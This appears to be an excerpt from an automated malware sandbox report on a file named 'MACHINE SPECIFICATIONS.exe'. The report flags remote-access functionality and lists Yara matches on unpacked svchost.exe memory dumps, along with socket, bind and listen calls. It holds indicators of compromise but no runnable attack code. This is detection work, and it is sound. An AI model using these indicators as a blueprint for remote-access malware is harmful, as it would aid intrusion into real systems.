Source: MACHINE SPECIFICATIONS.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 4USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1023946734.00000000074E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3363348707.0000000005670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3361296976.0000000000800000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3361185942.00000000007B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1017720914.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3359220364.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3361032659.0000000002300000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1021306624.0000000003FE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B96596 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00B96596
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B96A5A socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00B96A5A